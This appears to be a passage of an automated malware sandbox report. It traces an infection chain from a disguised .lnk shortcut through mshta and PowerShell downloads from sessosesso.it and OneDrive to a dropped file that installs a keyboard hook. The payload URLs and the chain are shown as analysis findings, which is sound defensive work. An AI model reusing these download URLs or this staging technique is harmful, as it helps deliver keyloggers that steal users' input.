Source: global traffic	HTTP traffic detected: GET /assets/aw/yt.hta HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.sessosesso.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/aw/Book1.xlsx HTTP/1.1Host: sessosesso.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/aw/uc.exe HTTP/1.1Host: www.sessosesso.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?resid=849ABDB14CA5CEC3%21220&authkey=!AGW69_d3Nli6r4Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown

DNS traffic detected: queries for: www.sessosesso.it

Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000011.00000002.1634145596.0000029E324B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: svchost.exe, 0000000E.00000002.2531370506.0000021C38E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: svchost.exe, 0000000E.00000003.1320362193.0000021C38C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.irmaklarpaslanmaz.com.tr
Source: powershell.exe, 0000000F.00000002.1813302246.000002B010082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1813302246.000002B0101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0o
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 0000000F.00000002.1678474741.000002B000001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000F.00000002.1839645117.000002B07C378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.o
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: uc.exe, uc.exe, 00000013.00000002.1514685918.0000000014B20000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1438376010.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000000.1494201950.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif, 00000019.00000000.1623023662.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif, 0000001B.00000000.1707510490.0000000000416000.00000002.00000001.01000000.0000000F.sdmp, bwsiuvcU.pif.19.dr	String found in binary or memory: http://www.pmail.com
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 0000000F.00000002.1678474741.000002B000001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000E.00000003.1320362193.0000021C38CD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1320362193.0000021C38C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000F.00000002.1678474741.000002B0011BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/
Source: powershell.exe, 0000000F.00000002.1813302246.000002B010082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1813302246.000002B0101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: uc.exe, 00000013.00000002.1496845420.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/_
Source: uc.exe, 00000013.00000002.1500694013.00000000025ED000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/downlo
Source: uc.exe, 00000013.00000002.1500694013.00000000025D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=849ABDB14CA5CEC3%21220&authkey=
Source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A4D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sessosesso.it
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A4D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sessosesso.it/assets/aw/Book1.xlsx
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it
Source: mshta.exe, 00000009.00000002.1863478690.0000019AC1727000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A557000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/Book1.xlsx
Source: powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/uc.exep
Source: mshta.exe, 00000009.00000002.1865747161.000001A2C9C00000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1853065476.000001A2C46E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta
Source: mshta.exe, 00000009.00000002.1864667684.000001A2C42A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta...
Source: mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta...-
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta1
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC16F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta5
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta6288
Source: FT. 40FE CNY .xlsx.lnk	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaAC:
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC1680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaC:
Source: mshta.exe, 00000009.00000003.1853065476.000001A2C46E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaDe
Source: mshta.exe, 00000009.00000002.1863790955.0000019AC1850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaH
Source: mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaLMEMX
Source: mshta.exe, 00000009.00000002.1863884931.0000019AC19B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaPS_BROW
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaU
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.hta_
Source: mshta.exe, 00000009.00000003.1859449128.000001A2C48C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htahttps://www.sessosesso.it/assets/aw/yt.hta
Source: mshta.exe, 00000009.00000002.1863133474.0000019AC170A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sessosesso.it/assets/aw/yt.htaindows
Source: uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zyupsq.by.files.1drv.com/
Source: uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zyupsq.by.files.1drv.com/y4mZWAAbbWbD2Z_SLbFHXttkWK-AZlqt62tunxr4xpHZuH07d5XHa5kbVXE61GY17Y2
Source: uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zyupsq.by.files.1drv.com/y4meSWi_sxRIVEad6REzmio40CREEc5i8wX7nys_a0wT5VjuHcwzIZewYF7haE8C4Cu
Source: uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zyupsq.by.files.1drv.com:443/y4mZWAAbbWbD2Z_SLbFHXttkWK-AZlqt62tunxr4xpHZuH07d5XHa5kbVXE61GY

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49716 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\bwsiuvcU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\bwsiuvcU.pif
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Windows user hook set: 0 keyboard low level C:\Users\Public\Libraries\bwsiuvcU.pif

